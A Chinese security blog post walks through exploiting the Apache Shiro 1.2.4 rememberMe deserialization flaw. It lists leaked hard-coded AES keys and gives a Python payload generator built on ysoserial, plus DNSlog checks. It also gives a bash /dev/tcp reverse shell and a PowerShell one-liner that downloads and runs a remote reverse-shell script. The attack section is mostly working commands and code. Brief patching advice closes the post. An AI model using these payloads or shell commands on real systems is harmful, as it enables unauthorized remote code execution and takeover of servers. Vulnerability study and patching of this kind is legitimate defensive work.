[漏洞复现]Apache Shiro 1.2.4反序列化
- 2019 年 11 月 20 日
- 筆記
最近没怎么更新文章,不好意思啊,兄弟姐妹们。现在现实工作也忙。今天就更新一篇漏洞复现的吧,预计明天更新一个实战漏洞挖掘的文章(弱口令+越权)。你们如果想要什么工具,可以在公众号发消息我统一再处理上传。谢谢大家支持。(づ ̄ 3 ̄)づ
前言
0x00 产生原因
shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化.然而AES的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞.
0x01 影响范围
Apache Shiro <= 1.2.4
PS: 实际上漏洞与shiro版本无关, 无论是否升级shiro到1.2.5及以上, 如果shiro的rememberMe功能的AES密钥被泄露, 就会导致反序列化漏洞. 本人已在实际工作中遇到这样的特例, 密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码.
目前网上收集到的密钥(poc中会提到在如何使用它们):
kPH+bIxk5D2deZiIxcaaaA== wGiHplamyXlVB11UXWol8g== 2AvVhdsgUs0FSA3SDFAdag== 4AvVhmFLUs0KTA3Kprsdag== fCq+/xW488hMTCD+cmJ3aQ== 3AvVhmFLUs0KTA3Kprsdag== 1QWLxg+NYmxraMoxAXu/Iw== ZUdsaGJuSmxibVI2ZHc9PQ== Z3VucwAAAAAAAAAAAAAAAA== U3ByaW5nQmxhZGUAAAAAAA== 6ZmI6I2j5Y+R5aSn5ZOlAA==
0x02 复现过程

抓包重放, 发现响应包中存在<rememberMe=deleteMe>

因为该漏洞没有回显, 所以我们需要先确认漏洞是否存在
这里用DNS解析记录来做判断, 在http://www.dnslog.cn/上获取子域: y8f70q.dnslog.cn

使用反序列化利用工具来监听7878端口(需要Java环境)
作者项目链接: https://github.com/frohoff/ysoserial
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "ping y8f70q.dnslog.cn"

使用poc.py生成payload
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥 iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
语法: python poc.py [vpsIP]:[port]

将生成的payload复制到请求包cookie的位置, 发包

此时可以在vps对应的监听端口出看到有流量出来, 我们去平台查询ping命令是否执行成功

刷新记录, 发现ping命令成功执行

接下来就是反弹shell了
linux下反弹shell命令如下:
bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
这里需要将反弹shell的命令进行java base64编码处理
在线编码地址: http://www.jackson-t.ca/runtime-exec-payloads.html

同时使用nc监听8888端口

重新生成payload发包, 反弹shell成功

至此, 复现完成, 整个漏洞复现流程:
使用poc.py生成payload–>将payload放入cookie中请求服务器–>服务器触发payload去执行VPS上监听端口1上的命令–>反弹shell命令执行–>VPS监听端口2得到shell成功
0x03 漏洞修复
- 升级shiro到1.2.5及以上.
- 如果在配置里配置了密钥, 那么请一定不要使用网上的密钥, 一定不要! ! 请自己base64一个AES的密钥, 或者利用官方提供的方法生成密钥: org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey().
0x04 复现总结
看似简单的复现过程中途遇见了太多的坑…
下面做下总结:
- 测试时, 首先需要对网站基本信息有一个收集, 要知道它是什么系统, linux与windows反弹shell的命令不同 linux(需要编码处理): bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
windwos(不需要编码处理): powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -port 8888
- 响应包中出现<rememberMe=deleteMe>可以用来大概判断是否使用了Shiro.
- 关于反弹shell命令, 如果不编码会命令执行失败. 本人在网上阅读大佬们写的相关文章后, 理解了一点, 简单说就是反弹shell的命令中包含一些特殊的符号, 在进行反序列化的时候会导致命令无法正常解析, 反正编码就完事了.
- 测试时, 最好先使用ping命令用来检测漏洞是否存在, 因为复杂的命令可能因为各种原因执行失败, 影响判断.
- 关于利用模块的选择, 最开始在docker上复现时, 我使用的是CommonsCollections2, 都能成功, 但到了实际环境中, 反弹shell一直执行不成功, 我又是不停的找资料看, 问朋友, 但是因为并不明白原理, 还是搞不懂, 反正最后的结论是CommonsCollections1, CommonsCollections3, CommonsCollections5可以, 不行就都试一遍, 万一成功了呢~
0x05 工具下载
公众号回复关键字:Apache反序列化即可获得下载链接
后面想更新系列文章,想听听大家的想法。如:SQL注入、安全工具